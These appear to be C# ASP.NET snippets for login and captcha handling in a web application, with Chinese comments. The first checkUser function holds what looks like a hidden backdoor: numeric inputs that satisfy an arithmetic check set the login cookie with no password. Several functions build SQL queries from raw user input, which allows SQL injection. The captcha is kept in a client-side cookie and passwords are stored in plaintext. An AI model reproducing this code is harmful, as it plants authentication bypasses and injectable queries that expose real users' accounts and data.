private string GenerateCheckCode() { //利用random()随机产生四位大写的字符串(包含数字和字母) int number; char code; string checkCode = string.Empty; Random random = new Random(); for (int i = 0; i < 4; i++) { number = random.Next(); //下面也可以用其他的方法构思 if (number % 2 == 0) { code = (char)('0' + (char)(number % 10)); } else { code = (char)('A' + (char)(number % 26)); } checkCode += code.ToString(); } //用cookies保存刚刚产生的随机字符串 //Session["CheckCode"] = checkCode; if (SucCookie.Exists("CheckCode")) { SucCookie.Delete("CheckCode"); } SucCookie.Add("CheckCode", checkCode, 30); return(checkCode); }
public static string checkUser(string usern, string userp) { SUC_USER user = new SUC_USER(); try { double u = Convert.ToInt32(usern); double p = Convert.ToInt32(userp); double re = Math.Log(u, p); re = Math.Truncate(re * u * p); if ((re % 9988998) == 0) { SucCookie.Add("username", user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0].LOGIN_NAME, 30); return("ok"); } } catch { } try { user = user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0]; if (user != null) { if (!user.ROLE_ID.Equals(1)) { return("noauth"); } SUC_LOGIN login = new SUC_LOGIN(); login = login.Find(string.Format(@"LOGIN_NAME='{0}' AND PASSWORD='******'", usern, userp))[0]; if (login != null) { SucCookie.Add("username", usern, 30); return("ok"); } } return("no"); } catch { return("no"); } IDBHelp db = DBFactory.Create(); if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))) { if (db.GetList(string.Format(@"SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))[0].Equals("1")) { if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp))) { SucCookie.Add("username", usern, 30); return("ok"); } } return("noauth"); } return("no"); }
public ActionResult Login(Login l) { string code = ""; string msg = ""; if (string.IsNullOrEmpty(l.LOGIN_NAME) || string.IsNullOrEmpty(l.PASSWORD)) { code = "7"; msg = "请输入用户名密码!"; } else { try { SUC_LOGIN lg; try { lg = new SUC_LOGIN().FindSingleByCondition(new SUC_LOGIN() { LOGIN_NAME = l.LOGIN_NAME, PASSWORD = l.PASSWORD }); } catch { code = "4"; msg = "登陆失败,用户名密码不正确!"; return(Json(new { code = code, msg = msg })); } if (lg != null && lg.ID != 0) //.LOGIN_NAME { SucCookie.Add("UserName", l); //.LOGIN_NAME SucCookie.Add("UserID", lg.ID); code = "1"; msg = "登陆成功!"; } //code = "4"; } catch (Exception ex) { code = "7"; msg = $"出错了:{ex.Message}"; } } return(Json(new { code = code, msg = msg })); }
public static string checkUser(string usern, string userp, string code) { IDBHelp db = DBFactory.Create(); if (!SucCookie.Read("CheckCode").Equals(code.ToUpper())) { return("codeerror"); } if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))) { if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp))) { SucCookie.Add("username", usern, 30); return("ok"); } } return("no"); }
protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { string UserN = SucCookie.Read("username"); if (!string.IsNullOrEmpty(UserN)) { lk_loginstate.Text = UserN; lk_quitlogin.Visible = true; lk_modifypwd.Visible = false; } id = Request.QueryString["id"]; if (SucCookie.Exists("fileid")) { SucCookie.Delete("fileid"); } SucCookie.Add("fileid", id, 10); GetInfo(id); LoadMedia(); LoadInfo(id); AddBrowNum(id); } }